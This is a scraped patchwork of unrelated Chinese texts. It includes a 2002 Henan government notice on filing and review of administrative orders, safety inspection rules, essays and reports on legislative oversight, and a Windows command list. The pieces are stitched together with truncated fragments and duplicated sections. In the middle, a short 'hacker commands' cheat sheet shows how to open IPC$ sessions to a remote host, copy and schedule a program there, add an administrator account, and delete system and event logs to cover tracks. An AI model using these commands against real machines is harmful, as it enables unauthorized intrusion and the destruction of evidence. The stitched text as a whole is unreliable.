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的通知行政决定和命令备案审查制度

的通知行政决定和命令备案审查制度
的通知行政决定和命令备案审查制度

行政决定和命令备案审查制度的通知

各市、县人民政府,省人民政府各部门:

为了适应世贸组织规则和我国入世承诺,维护社会主义法制的统一,根据《法规规章备案条例》(国务院令第337号,以下简称《条例》)的规定,结合我省实际,省政府决定对各省辖市政府和省政府各部门依照法定权限发布的规章、行政决定和命令实行备案审查制度。现将有关事项通知如下:

一、实行备案审查的范围

(一)郑州市政府、洛阳市政府发布的规章;

(二)各省辖市政府发布的具有普遍约束力的行政决定、命令;

(三)省政府各部门发布的具有普遍约束力的行政决定、命令。

二、备案工作的要求

(一)郑州市、洛阳市政府制定的规章,分别由郑州市、洛阳市政府自发布之日起30日内报国务院备案,同时报省政府备案。报送国务院备案的规章,按《条例》的规定办理。

(二)各省辖市政府、省政府各部门自2002年4月1日起制定的行政决定、命令,应当自发布之日起30日内报送省政府备案。

(三)报送规章、行政决定和命令备案,应当提交备案报告(格式见附件)、规章正式文本1式25份以及起草说明1式10份、行政决定或命令正式文本及说明。报送备案的规章、行政决定、命令,应为铅印或打印件,不得以会议文件或文件汇编的撕页报送。具备条件的,应当同时报送电子文本。

(四)报送规章、行政决定、命令备案的具体工作,由省辖市政府、省政府部门的法制办(局、处)负责。

(五)报送备案的规章、行政决定和命令,迳送省政府法制办公室。

三、审查监督

(一)省政府法制办公室对报送备案的规章、行政决定与命令就以下几个方面进行审查:

1.是否超越权限;

2.是否违反法律、法规、规章和国家政策的规定;

3.是否相互冲突;

4.是否适当;

5.是否违背法定程序等。

(二)省政府法制办公室应严格按照《河南省行政机关执法条例实施办法》(省政府令第27号,以下简称《办法》)的规定,履行规章、行政决定与命令的审查监督职责。对违法或不适当的规章、行政决定和命令,应当向制定机关发出《行政执法监督检查建议书》,限期纠正;有重大问题的提出意见报省政府决定。对相互冲突的规章、命令和决定,应当按照《办法》的规定进行协调;经协调不能取得一致意见的,提出意见报省政府决定。对符合《条例》和本通知要求的,予以备案登记;不符合《条例》和本通知要求的,暂缓备案登记。经备案登记的,应当按月公布目录。编辑出版政府规章、行政决定或命令的汇编范围,应当以公布的政府规章、行政决定、命令目录为准。

(三)省政府法制办公室审查规章、行政决定和命令时,认为需要有关的省政府部门或省辖市政府提出意见或说明情况的,有关机关应在规定期限内予以回复。

(四)国家机关、社会团体、企业事业组织、公民认为郑州市、洛阳市政府的规章,省辖市政府和省政府部门的行政决定、命令与法律、法规、规章相抵触的,可以向省政府书面提出审查建议,由省政府法制办公室提出处理意见,按本通知规定的程序处理。

四、组织领导

建立健全规章、行政决定和命令备案审查制度十分重要,意义重大。各地、各部门要高度重视,精心组织,采取有效措施,确保此项工作顺利实施,并走上制度化、规范化轨道。各省辖市、县(市、区)政府,要对下级行政机关的行政决定、命令加强监督,依照本通知的规定并结合当地实际情况,尽快建立相应的备案和审查制度。县(市、区)政府应当采取切实措施,指导乡镇政府、街道办事处做好村民自治章程、村规民约、居民公约的备案审查工作,对违反宪法、法律和国家政策的要及时予以纠正。

省政府法制办公室要及时了解全省政府规章、行政决定和命令的备案审查情况,加强检查指导,重要情况和问题要及时向省政府报告。

附件:规章、行政决定、命令备案报告格式 (略)

河南省人民政府

二00二年四月十八日

发布部门:河南省政府发布日期:2002年04月18日实施日期:2002年04月18日

文章来源:中顾法律网 (免费法律咨询,就上中顾法律网)

项目安全检查制度

编号:SY-AQ-06439 ( 安全管理) 单位:_____________________ 审批:_____________________ 日期:_____________________ WORD文档/ A4打印/ 可编辑 项目安全检查制度 Project safety inspection system

项目安全检查制度 导语:进行安全管理的目的是预防、消灭事故,防止或消除事故伤害,保护劳动者的安全与健康。在安全管 理的四项主要内容中,虽然都是为了达到安全管理的目的,但是对生产因素状态的控制,与安全管理目的关 系更直接,显得更为突出。 一、安全检查组织形式 (1)定期安全检查 a.公司安全文明领导小组对施工现场进行每月一次的安全检查。 b.项目经理带领本项目部副经理、技术负责人、工长、安全员对所施工现场进行安全检查,每月不得少于两次。 (2)经常性检查 a.公司工程技术处经常深入基层项目部,在检查生产的同时检查安全生产。 b.项目部安全员进行日常巡回安全检查。 c.班组班前、班后进行的安全检查。 (3)专业性安全检查 a.脚手架、上料平台、斜道安全网等搭设与使用。 b.塔吊、垂直运输机械的检查。

c.施工用电及电动机具的检查。 d.乙炔、氧气瓶等压力容器的检查。 e.现场防火、防中毒、防尘的检查。 f.文明施工现场的检查。 (4)季节性、节假日安全检查 a.季节性安全检查是针对气候特点(冬季、雨季、风季等)可能会对正常施工带来危害而进行的检查。 b.节假日前后的检查是为防止施工人员在节假日(春节、麦收、秋收等)前后施工中纪律松懈,思想麻痹等进行的检查。 c.对于节假日值班或加班人员,除了要加强对他们的安全教育,还要认真检查安全防范措施的落实。 二、安全检查记录及隐患整改 (1)安全检查记录 公司安全检查部门根据部颁《建设工程安全检查标准》的内容对项目部进行检查,将检查出的隐患内容以事故隐患通知书的形式予以记录,并履行签字手续。本通知书一式三份,一份交项目部,

立法监督中备案审查制度的规定及其完善

立法监督中备案审查制度的规定及其完善 [摘要]备案审查制度是我国立法监督体制中不可或缺的重要环节,目前备案审查制度不能有效发挥作用的重要原因在于:自我监督的正当性质疑,审查方式和程序并不完善,缺乏专门的机构,缺乏必要的保障机制和责任追究制度。因此,探讨备案审查制度的进一步完善具有重大的现实意义。 [关键词]立法法;备案审查;立法监督 2010年,随着具有中国特色的社会主义法律体系的建成,党的十五大提出的立法工作目标也如期完成。但这也只是实现了立法工作的阶段性目标,并不意味着立法任务的终结,立法监督要与立法同步,这是立法监督的一个新开始。 一、备案审查制度的必要性及其局限性 在立法监督制度中,备案审查制度作为一项重要的监督方式,在我国的《立法法》中得到了充分体现。其中在《立法法》第5章中规定了完善的监督制度,也体现了作为国家在制度上对于备案审查制度的重视。备案一词,在司法实践中使用频率很高,可以分为两种。一是在立法活动程序中作为一项法律法规要通过和生效所必须经过的程序。换言之,即经过备案,法律才能生效,才能发挥作用。这是间接的立法监督,是直接的立法活动,也可称为事前的审查。二是作为立法监督体系中的一个重要方式,备案不影响法律的生效,只是作为事后的一个监督形式,包括报送、登记、统计、存档等环节。对于备案的两种情形,是择一而行,还是二者兼顾,《立法法》中回避了这个问题。因此,现实中存在很大争议。 我国地方性法规与国家法律相悖的现象不少,相关机关给出的解释竟然是备案工作机构力量薄弱,仅能从事存档,没有能力开展更进一步的工作。尽管备案制度在《立法法》中有了详尽和具体的规定,但在现实的操作中,这些程序并没有真正落到实处。 二、备案审查制度存在的不足 基于上述的不协调现状,结合《立法法》第89-92条之规定,其具体原因主要表现在以下几个方面:一是,备案机关,就审查的主体而言,其实也是立法的主体,不过是上下级机关之间的领导关系。内部的自我监督,丧失一定的约束力和正当性。我国的备案机关很多都是兼职的,这些机构的主要任务很多在于立法,而不是立法监督。在2004年5月成立的“法规审查备案室”是目前为止唯一的专门备案机构,而且《法规规章备案审查条例》目前仍发挥着很大的作用和效力,并没有因为《立法法》的施行而被废除。同时,备案机关缺乏专门的工作人员,难以发现法规规章与上位法及同位法之间的冲突,无法按要求实施备案。此外,一个自上而下的单一监督体制,形成一个单向性的自我监督模式,很难在实践中发挥作用。二是,备案程序。相关制度的可操作性不强,规定得比较原则和笼统,也没有具体的实施细则可依。三是,备案保障制度。相应的程序性保障机制,相关的责任追究制度并没有在制度上确立下来。 因此,正是这些制度上原因和传统上的因素,才造成了我国备案审查的立法监督制度与现实立法状况及其现实实体操作不相切合的后果。 三、备案审查制度的完善 针对上述分析的原因,完善的备案制度期望能够达到理想的效果,在如下方面需要进一步完善: 1.引入司法审查机制,强化外部监督的作用。例如其他组织或一般民众对于

安全审核制度

安全审核管理规定 1 适用范围 本规定适用于公司及所属单位的安全审核活动。 2 职责 2.1 质量安全环保处负责组织制定公司机关年度安全审核计划,抽查各单位对本规定的执行情况,收集各单位进行安全审核的数据并汇总,对安全审核工作提供技术支持。 2.2 总经理办公室负责组织实施公司领导安全审核活动。 2.3 加油站管理处负责组织实施加油站安全审核活动。 2.4 油库管理处负责组织实施油库安全审核活动。 2.5 其它管理部门负责直线主管范围内的安全审核活动; 2.6各分公司负责制定和实施本单位安全审核计划,并指导地区公司及库站安全审核活动。 2.7 油库、加油站制定和实施本库、站安全审核计划。 3 内容及要求 3.1审核小组的组成 3.1.1 从公司最高领导到库站的一线员工都必须参与安全审核活动。每次安全审核活动都必须有一名审核小组长负责审核活动的实施,审核小组人数量应在3人以上。 3.1.2 公司层面的安全审核活动,组长由公司领导或处室负责人担任,组员应包括管理部门的管理人员和被审核区域的主管; 3.1.3 各分公司层面的安全审核活动,组长由各分公司领导担任,组员包括管理部门的管理人员和被审核区域的主管3-5人; 3.1.4 库站内部安全审核由库站经理自行组织,成员由3-5人组成。3.2 审核频次和审核范围: 3.2.1 公司领导的审核每半年不少于一次。审核范围为安全责任区范围内

至少三座以上的油库及加油站。每次审核前由总经理办公室负责与公司领导联系,确定审核时间,通知审核人员; 3.2.2 机关人员的审核每半年不少于一次。审核范围为处室长安全责任区域内所辖的至少五座以上库、站,区域内有控股公司的,至少应审核一家控股公司。下设专业线的处室审核范围不受此限制。 3.2.3 各分公司领导的审核每季至少一次。审核范围为所辖安全责任区内至少三座以上库站。 3.2.4 分公司人员的审核每季至少一次。审核范围为所辖安全责任区内的至少五座以上库、站。 3.2.5 库站内部审核每周一次,审核范围为本油库、加油站。 3.3 审核计划的制定 3.3.1公司质量安全环保处于每年12月30日前制定下年度《公司机关年度安全审核计划》(见附件1),经主管领导审批后实施。 3.3.2各分公司质量安全环保部于每年12月25日前制定下年度本单位的安全审核计划《()分公司年度安全审核计划》(见附件2),经主管领导审批后实施,并报质量安全环保处备案。 3.3.3油库、加油站于每年12月15日前制定下年度《库/站安全审核计划》(见附件3);并上报分公司安全环保部备案。 3.4 审核的实施 3.4.1 所有安全审核活动都需按计划实施,所有人员原则上不允许缺席安全审核,如因工作需要,确实需要缺席的,首先应找人替换,并确定下次补上安全审核的时间,由审核组长批准并做记录。 3.4.2 加油站安全审核 3.4.2.1 加油站站审核小组每周根据审核计划组织现场的安全审核小组活动,并对审核中发现的问题及时纠正,由加油站负责整改,无力整改时上报分公司直线主管。 3.4.2.2加油站站内部的《安全审核报告》(见附件4)由审核小组所有人

规范性文件备案审查制度知识问答

规范性文件备案审查制度知识问答 1、什么是规范性文件备案审查? 答:规范性文件备案审查,也称事后审查制度,是指规范性文件制定机关,在规范性文件发布后的15日内,依法将规范性文件报送上级机关,上级机关审查后,没有问题的予以登记备案,发现问题的依法予以纠正的制度。根据国务院《全面推行依法行政实施纲要》的要求,对行政机关制定的规范性文件必须做到“有件必备、有备必审、有错必纠”。 2、什么是规范性文件事前审查制度? 答:规范性文件事前审查制度,是在规范性文件起草工作结束后,形成了送审稿,并将送审稿送政府或部门的法制工作机构进行审查的制度。送审稿包括:送审文件稿及其说明,征求到的不同意见和有关材料。政府规范性文件送本级人民政府法制机构审查;部门规范性文件由本部门的法制机构进行审查。审查工作由政府或部门的法制机构负责,法制机构必须履行审查职责,严格按照规定,对送审稿进行事前审查。政府或部门的法制机构对审查中发现的问题,需要有关单位作出说明、提交依据、协助工作的,有关单位应当予以配合,并在法制机构要求的期限内答复。 3、规范性文件的概念是什么? 答:规范性文件是涉及或者影响管理相对人权利义务,在一定时期内反复适用的文件。 4、如何界定规范性文件的范围? 答:正确界定规范性文件的范围有两个标准。 一是行文方向。规范性文件是下行文,上行文、平行文不是规范性文

件。 二是文件的内容。规范性文件的内容应当同时具备“三性”,即外部性、普遍适用性和反复适用性。 规范性文件的外部性,是指文件的内容涉及或者影响管理相对人的权利义务,而不是单纯规定行政机关内部事务。 规范性文件的普遍适用性,是指文件作出的规定,对不特定多数管理相对人都适用,而不是只适用于特定的个别管理相对人。 反复适用性,是指文件作出的规定,在这个文件生效以后、至失效之前的整个时间段内,对同类事项都有效,而不是只用一次。 5、什么样的规定是“涉及或者影响管理相对人权利义务”的规定?答:涉及或者影响管理相对人权利义务,就是直接或者间接规定管理相对人能够干什么、不能干什么、必须干什么;能够怎么干、不能怎么干、必须怎么干,可以获得什么利益、应当承担什么义务,履行了义务能够得到什么、不履行义务会受到什么处理,等等。 6、“行政许可实施程序”是否具有“外部性”,为什么? 答:行政许可实施程序具有“外部性”。 因为,从表面上看,行政许可实施程序规定的是行政机关干什么、怎样干,一步一步怎么走,但是,其中涉及到要求申请人提交什么材料、行政机关对什么样的申请人才能准予行政许可,这就影响了管理相对人的权利义务。 7、机关人事管理、后勤管理、财务管理、教育培训、考评奖惩等文件是否具有“外部性”,为什么? 答:不具有“外部性”。 机关人事管理、后勤管理、财务管理、教育培训、考评奖惩等文件只

行政基本方法

行政基本方法 行政基本方法行政指令法律方法经济方法行政疏导方法行政基本方法是一定的行政组织及其人员,为实现特定的行政目标,在行政管理过程中所采取的普遍的方法和措施。行政基本方法随着行政职能的发展而渐趋复杂化、系统化和科学化。一、行政指令方法行政指令,又称为行政命令,是指行政主体依靠行政组织权威,运用命令、决定、指示等形式,通过行政组织系统和行政程序,直接影响行政管理对象的意志和行动的行政方法,是行政组织中最常用的行政管理手段。行政指令方法的实质是通过行政组织的层级管理和职权专属原则进行行政管理。其主要特征是:(1)权威性,行政权威基于行政组织所负有的公共行政职责和行使的国家行政权力,行政组织和行政职能的层级越高,行政权威则越强。(2)强制性,行政组织发出的命令和决定必须无条件执行,不存在协商谈判、讨价还价、交换条件的前提。(3)层次性,行政指令按行政组织的纵向隶属关系下达,无论垂直管理还是区域管辖,都是自上而下实行层级管理,下级服从上级,地方政府服从中央政府,保证了行政指令的有效贯彻执行。(4)具体性和直接性,这是指行政指令的对象和内容,都是十分具体的,产生的行政效果也是直接而迅速的,因此也具有较明显的时效性。行政指令方法的优点在于政令集中统一,工作重点突出,资源调配集中迅速,能尽快地实现国家行政权力对社会经济生活地有效干预。因此,特别适合于处在紧急状态和非常时期地行政管理,如战争动员、救灾抢险、经济危机等。但是,行政指令

方法对上级要求很高,如果搞长官意志,强迫命令,一旦违背了客观规律,决策失误,就会造成连锁反应,损失很大。而且,行政指令方法可能因统得过死,在一定程度上限制了下级机关在执行过程中的主动性和创造性,不利于调动多方面的积极性;再则,还可能因为侧重于纵向指挥隶属关系,忽略了平行横向组织关系的协调互补功能,以至产生条块分割、以邻为壑、扯皮推诿等行政效率低下的问题。

安全检查管理制度

安全检查管理制度 一、目的 安全检查是做好安全工作的重要措施之一,为了监督各项安全规章制度的贯彻实施,及时发现和消除事故隐患,特制定本制度。 二、适用范围 本制度适用于公司各部门、各岗位对安全检查的管理。 三、职责 安全生产委员会、安全保卫委员会主任是公司安全检查的主要负责人,场地设备部和办公室负责具体的组织和实施。 四、安全检查制度的实施和要求 1、安全检查内容包括:安全管理和现场安全。 (1)安全管理检查的主要内容:安全生产责任制、安全管理规章制度的执行情况。 (2)现场安全检查的主要内容:各种消防器材的检验和维修情况、各种钥匙的管理情况、下班后切断各处电源及关窗锁门情况、有无堆放易燃易爆物品、有无火灾隐患及其他不安全因素、各部门、各岗位危险源的管控情况。 2、安全检查采用定期、不定期及日常检查的形式进行。 (1)定期安全检查包括月度检查、季度检查、半年度检

查、年度检查和重大节假日前检查。 (2)不定期安全检查是指根据公司的要求和公司安全工作的实际需要,随时组织的有针对性的检查。 (3)日常安全检查是指每天下午下班后关闭公司大门前,由公司各部门安全员对其办公区域内的门锁关闭、窗户关闭、电器关闭、电闸关闭、有无易燃物等方面的安全检查。 3、安全检查工作要求。 (1)各部门安全员每天下班后要对其部门工作区域进行检查,发现不安全因素及时处理和报告。 (2)重大节假日前夕、每月末及不定期的安全检查,由安全保卫办公室负责组织人员进行。 (3)场地设备部和办公室负责组织有公司主要领导参加的季度、半年度及年度安全大检查。 (4)场地设备部对各部门、各部位的安全情况随时进行监督检查,各部门要予以支持和合作。 (5)每次安全检查情况,安全保卫办公室要认真记录在相应表格上,建立安全检查档案,对检查发现的不安全隐患,要及时通知有关部门根据情况当场整改或限期整改。 (6)各部门对存在的安全隐患,要按要求的期限认真整改,一时解决不了的,要及时报告安全保卫办公室,同时必须采取临时安全措施,保证安全。 (7)公司根据安全检查结果,依据公司有关条例进行奖

操作指示命令

网管和黑客都必须知道的命令!看了不要做坏事! (与远程主机建立空管连接) net use \\IP地址\ipc$ "" /use:"" (以管理员身份登录远程主机) net use \\IP地址\ipc$ "密码" /use:"Administrator" (传送文件到远程主机WINNT目录下)copy 本机目录路径\程序\\IP地址\admin$ (查看远程主机时间) net time \\IP地址 (定时启动某个程序) at \\IP地址 02:18 readme.exe (查看共享) net view \\IP地址 (查看netbios工作组列表) nbtstat -A IP地址 (将远程主机C盘映射为自己的F盘) net use f: \\IP地址\c$ ""/user:"Administrator"

(这两条把自己增加到管理员组): net user 用户名密码/add net localgroup Administrators 用户名 /add (断开连接) net use \\IP地址\ipc$ /delete ===================================================== 擦屁屁: del C:\winnt\system32\logfiles\*.* del C:\winnt\system32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt

关于规范性文件备案审查工作情况汇报

贵州省毕节地区行政公署在全省规范性文件备案审查工 作会议上的经验交流材料之一 关于规范性文件备案审查工作情况汇报 各位领导: 规范性文件备案审查制度是监督和规范行政机关行政行为的重要制度,是全面推进依法行政工作的重要手段。2004年《贵州省规范性文件备案审查规定》实施以来,我区按照有件必备、有备必审、有错必纠的原则,进一步加大了规范性文件备案审查的工作力度,凡规范性文件均按照规定及时向省政府报送备案,对下级行政机关认真履行审查监督职责,及时纠正违法或不当的规范性文件,有效地保证了法律法规在我区的正确贯彻执行,维护了法制统一。 一、主要做法和体会 规范性文件备案审查工作,制度和机制建设是关键。我区注重从制度机制建设入手,积极探索备案审查工作的新路子、新办法,强化措施,加大力度,努力提高备案审查工作的质量和水平,充分发挥了行政层级监督职能。2008年制定了《毕节地区规范性文件备案审查办法》、《行署规范性文件制定规程》、《规范性文件备案格式》等文件,对规范性文件的规划、调研、起草、社会参与、论证、审查、备案等每个环节都作了明确规定,规范性文件的备案审查工作日益制度化、规范化、有效化。去年以来,行署向省政府共报备规范

性文件6件,审查下级行政机关规范性文件340件,清理和撤销19件。 (一)加强制度建设,努力构建上下联动,各方配合的工作机制 规范性文件备案审查工作作为政府层级监督的重要内容,是维护法制统一,防止部门利益形成的重要措施。行署对此非常重视,把规范性文件的前置审查和报送备案工作写进了《行署常务会议规则》,凡出台规范性文件,牵头起草部门要先送行署法制办进行审查,没有经过法制办前置审查且出具书面意见的,不上会研究。为确保备案审查制度落实到位,我们进一步理顺了各方面关系,加强了与有关方面的衔接与配合。一是将规范性文件备案审查明确为行署法制办的一项工作职责,确定专人负责,细化工作职责和岗位职责。二是明确操作程序,理顺行署法制部门与相关部门,以及各部门之间的关系。对规范性文件的启动、调研、草拟、征求意见、公众参与、讨论决定、公布实施、上报备案等每一个环节,每一个相关部门的职责都进行了规范。三是注重对规范性文件的执行情况进行追踪,对其社会效果及时掌握了解,适时改进。四是突出行署法制办在制发规范性文件中的作用,要求法制办全程参与行署重点规范性文件的制定,各部门自行制定的规范性文件在公布执行前必须经法制办审核把关。同时要求法制办牵头组织对行署及各部门制定规范性文件的清理,对废止、失效以及与新的法律法规和政策不相适应的文件及时清理或修改。

建设项目安全审查制度实用版

YF-ED-J1719 可按资料类型定义编号 建设项目安全审查制度实 用版 In Order To Ensure The Effective And Safe Operation Of The Department Work Or Production, Relevant Personnel Shall Follow The Procedures In Handling Business Or Operating Equipment. (示范文稿) 二零XX年XX月XX日

建设项目安全审查制度实用版 提示:该管理制度文档适合使用于工作中为保证本部门的工作或生产能够有效、安全、稳定地运转而制定的,相关人员在办理业务或操作设备时必须遵循的程序或步骤。下载后可以对文件进行定制修改,请根据实际需要调整使用。 建设项目的安全审查包括由可行性研究报告开始到初步设计、施工直至竣工验收的全过程的审查。 我国境内的新建、改建、扩建的基本建设项目(工程)、技术改造项目(工程)和引进的建设项目(工程) 的安全设施必须符合国家规定的标准,必须与主体工程同时设计、同时施工、同时投产使用。习惯上,把建设项目安全审查叫做“三同时”审查。做好建设项目的安全审查工作,是管理部门、设计部门、监督检查部门和建设单位的共同责任,也是广大工程技术

人员、安全专业工作者的重要使命。 借助设计消除和控制事故危险性是安全工程的重要组成部分和原则,也是安全审查的重点。安全审查包含着对建设项目安全性的分析、评价、监督和检查。实施安全审查就是运用科学技术原理、技术知识和标准识别、消除或控制不安全因素,保证从早期的设计阶段就把事故危险性降到最低的程度。 1) 可行性研究报告的审查 可行性研究报告的审查是根据国民经济发展近期和远期规划、地区规划、行业规划的要求,对工程项目的安全技术、工程等方面进行多方案综合分析论证,主要包括技术先进性、经济合理性、生产可行性、各种指标的定性与定量的初步分析等,以确定建设项目的安全措

行政规范性文件备案审查制度

荥阳市环境保护局行政规范性文件 备案审查制度 第一条为促进依法行政,加强层级监督,规范环保行为,根据《郑州市人民政府规范性文件制定程序规定》,结合本市环保工作实际,制定本制度。 第二条本局价格行政规范性文件的制定、报送备案审查工作,适用本制度。 局内部的工作制度、管理制度等,不适用本制度。 法律、法规、规章另有规定的,从其规定。 第三条本制度所称的环保行政规范性文件,是指省、市政府或其法制科所明确的文件。 第四条综合性的环保行政规范性文件由局法制科负责起草或组织局相关职能机构起草;单项的环保行政规范性文件由局相关职能机构负责起草。 第五条局环保行政规范性文件,除直接由局法制部门起草的以外,其余处室拟定的在送领导审签前,应先送局法制科审核。 第六条本局制定的和以本局为主办单位与其他行政主管部门联合发布的环保行政规范性文件,由局法制工作机构负责向市政府法制局报送备案。同时,抄报上一级政府环保主管部门。

第七条报送备案或抄报时间应当自发布之日起30日内。 第八条环保行政规范性文件向政府法制部门报送备案时应当提交下列材料: (一) 行政行政规范性文件备案报告一份; (二) 行政行政规范性文件正式文本一式五份; (三) 行政行政规范性文件的制定说明一式五份。 第九条报送文件的制定说明由负责起草规范性文件的机构制作,内容应当包括: (一) 制定文件的依据、必要性、制定过程; (二) 所要解决的主要问题; (三) 规定权利、义务及法律责任的依据; (四) 其他需要说明的问题。 第十条局法制工作机构在每年1月31日前应将本局上一年制定的环保行政规范性文件的目录报送市政府备查。 第十一条本规定自发布之日起实施。 荥阳市环境保护局

命令语句

sndrec32-------录音机 Nslookup-------IP地址侦测器 explorer-------打开资源管理器 logoff---------注销命令 tsshutdn-------60秒倒计时关机命令lusrmgr.msc----本机用户和组 services.msc---本地服务设置 oobe/msoobe /a----检查XP是否激活notepad--------打开记事本 cleanmgr-------垃圾整理 net start messenger----开始信使服务compmgmt.msc---计算机管理 net stop messenger-----停止信使服务 conf-----------启动netmeeting dvdplay--------DVD播放器 charmap--------启动字符映射表diskmgmt.msc---磁盘管理实用程序 calc-----------启动计算器 dfrg.msc-------磁盘碎片整理程序 chkdsk.exe-----Chkdsk磁盘检查devmgmt.msc--- 设备管理器 regsvr32 /u *.dll----停止dll文件运行drwtsn32------ 系统医生 rononce -p ----15秒关机 dxdiag---------检查DirectX信息 regedt32-------注册表编辑器 Msconfig.exe---系统配置实用程序 rsop.msc-------组策略结果集 mem.exe--------显示内存使用情况regedit.exe----注册表 winchat--------XP自带局域网聊天progman--------程序管理器 winmsd---------系统信息 perfmon.msc----计算机性能监测程序winver---------检查Windows版本 sfc /scannow-----扫描错误并复原 winipcfg-------IP配置 taskmgr-----任务管理器(2000/xp/2003)command--------cmd fsmgmt.msc共享文件夹 netstat -an----查看端口 osk屏幕键盘 install.asp----修改注册网页 eventvwr.msc时间查看器

在全省规范性文件备案审查工作会议上的经验交流材料

贵州省毕节地区行政公署在全省规范性文件备案审查工作会议上的经验交流材料之一 来源:法制办主站发布时间:2009-04-09 10:23 阅读次数: 关于规范性文件备案审查工作情况汇报 各位领导: 首先感谢省政府领导及省政府法制办和省政府各部门对毕节和毕节试验区长期以来的关心支持。下面我受行署领导委托,向本次会议汇报我区开展规范性文件备案审查工作的情况,不当之处,敬请批评指正。 规范性文件备案审查制度是监督和规范行政机关行政行为的重要制度,是全面推进依法行政工作的重要手段。2004年《贵州省规范性文件备案审查规定》实施以来,我区按照有件必备、有备必审、有错必纠的原则,进一步加大了规范性文件备案审查的工作力度,凡规范性文件均按照规定及时向省政府报送备案,对下级行政机关认真履行审查监督职责,及时纠正违法或不当的规范性文件,有效地保证了法律法规在我区的正确贯彻执行,维护了法制统一。 一、主要做法和体会 规范性文件备案审查工作,制度和机制建设是关键。我区注重从制度机制建设入手,积极探索备案审查工作的新路子、新办法,强化措施,加大力度,努力提高备案审查工作的质量和水平,充分发挥了行政层级监督职能。2008年制定了《毕节地区规范性文件备案审查办法》、《行署规范性文件制定规程》、《规范性文件备案格式》等文件,对规范性文件的规划、调研、起草、社会参与、论证、审查、备案等每个环节都作了明确规定,规范性文件的备案审查工作日益制度化、规范化、有效化。去年以来,行署向省政府共报备规范性文件6件,审查下级行政机关规范性文件340件,清理和撤销19件。 (一)加强制度建设,努力构建上下联动,各方配合的工作机制 规范性文件备案审查工作作为政府层级监督的重要内容,是维护法制统一,防止部门利益形成的重要措施。行署对此非常重视,把规范性文件的前置审查和报送备案工作写进了《行署常务会议规则》,凡出台规范性文件,牵头起草部门要先送行署法制办进行审查,没有经过法制办前置审查且出具书面意见的,不上会研究。为确保备案审查制度落实到位,我们进一步理顺了各方面关系,加强了与有关方面的衔接与配合。一是将规范性文件备案审查明确为行署法制办的一项工作职责,确定专人负责,细化工作职责和岗位职责。二是明确操作程序,理顺行署法制部门与相关部门,以及各部门之间的关系。对规范性文件的启动、调研、草拟、征求意见、公众参与、讨论决定、公布实施、上报备案等每一个环节,每一个相关部门的职责都进行了规范。三是注重对规范性文件的执行情况进行追踪,对其社会效果及时掌握了解,适时改进。四是突出行署法制办在制发规范性文件中的作用,要求法制办全程参与行署重点规范性文件的制定,各部门自行制定的规范性文件在公布执行前必须经法制办审核把关。同时要求法制办牵头组织对行署及各部门制定规范性文件的清理,对废止、失效以及与新的法律法规和政策不相适应的文件及时清理或修改。 (二)抓住重点,提高效率和质量 行署制定和审查规范性文件,把合法性、合理性、程序的正当性作为重点。一是严格规范规范性文件制定程序。对于以行署名义制发的规范性文件,首先要经行署法制机构进行合法性审查并出具书面意见,再经行署常务会议审议决定,由专员签署发布。发布的规范性文件还要在相关媒体或行署网站予以公布。二是坚持有件必备、有备必审、有错必纠的原则。行署要求法制办把备案工作的重点放到审查上,重点审查规范性文件的内容是否符合法制统一的原则,是否有超越权限和违反程序等情况。对审查中发现的问题,法制办都按照法定程

服从命令的重要性_行政公文

服从命令的重要性 无论是什么时期,也无论是哪个国家,军人就是以服从命令为天职。下文是橙子收集的服从命令的重要性,欢迎阅读! 服从命令的重要性一可以说服从与忠诚是军人具备的优秀品质之一,只有具备服从品质的人才会在接受命令之后,更好的发挥自己的主观能动性,想方设法完成任务,即便是完不成任务也决不找借口推脱责任。解放军这个团队非常重视对普通战士服从意识的培养,从一名新兵披上军装的第一天起,就在他日常的生活中开始学习服从的精神。在战士眼里,命令就是一切,无论付出多大代价,那怕是牺牲自己的生命,也要绝对的服从,直至取得最终的胜利。这就是人民军队始终不变的本色,这也是解放军战士最高贵、最优秀的精神品格。 企业和军队一样,也同样是一个有组织的团队。有组织指挥、发布命令的机关,分为决策层、执行层和操作层。公司高级管理层是企业的首脑中枢,主要从事企业经营决策、远景规划、协调引导发展方向,负责建章立制,并对实施起监督作用;中层管理者是企业的框架,负责公司的计划信息、组织协调、交流沟通、日常管理等工作,同时还具有监督职能;企业的基层管理人员主要是贯彻执行上级的命令指示,做到上情下达、下情上报,团结和带领下属实现各项工作目标和生产任务;基层员工是组成企业的细胞、是企业的财富,是企业各项措施、指令和生产任务的具体操作者、执行者,作为这一层必须听从1 / 9

基层班组长的命令和指挥,精心操作,实现公司既定的发展目标。 服从命令是军人的职责,服从管理则应该是公司员工的第一美德,它同样也是广大员工取得成就的必备条件。如今很多公司要求员工进入公司就要接受各种严格的培训,并且首先认同企业的文化,遵守企业的各项规章制度。眼下有许多年轻人对公司组织的各种培训敷衍了事、极不用心去做,认为这是多此一举。应该说这种观念是错误的。年轻人不要以为自己有多大的能耐,上班做工就必须从零开始。尊重你的领导,服从领导安排是你的职责所在。 作为员工,应该时刻了解自己的能力有多大,要清楚服从命令对企业的价值理念、运营模式会有多么大的好处。所以说不要给自己找任何的借口和推卸责任的理由,上级要的是结果,而不是再三的解释原因。在实际工作中,确实存在着部分员工服从意识淡薄,对上级的命令指示,总喜欢讨价还价,讲条件,甚至搞“上有政策,下有对策”,表面一套,背后一套;搞所谓的“变通”、“细化”,制定一些与制度相违背的“土政策”、“土规定”等等。这些不仅会使企业正常的指令得不到及时的贯彻执行,而且会使员工养成一种恶劣的自由主义风气,久而久之,会影响企业的整体发展,损害企业的整体竞争力。因此,员工一定要把服从作为自身职业素质和品德素质的重要内容加以修炼与提高,从自身做起,从小事做起,坚决服从上级的命令指示,做遵守纪律的好员工。 有效的执行是建立在绝对服从的基础之上的,没有服从就没有执 2 / 9

行政命令范文

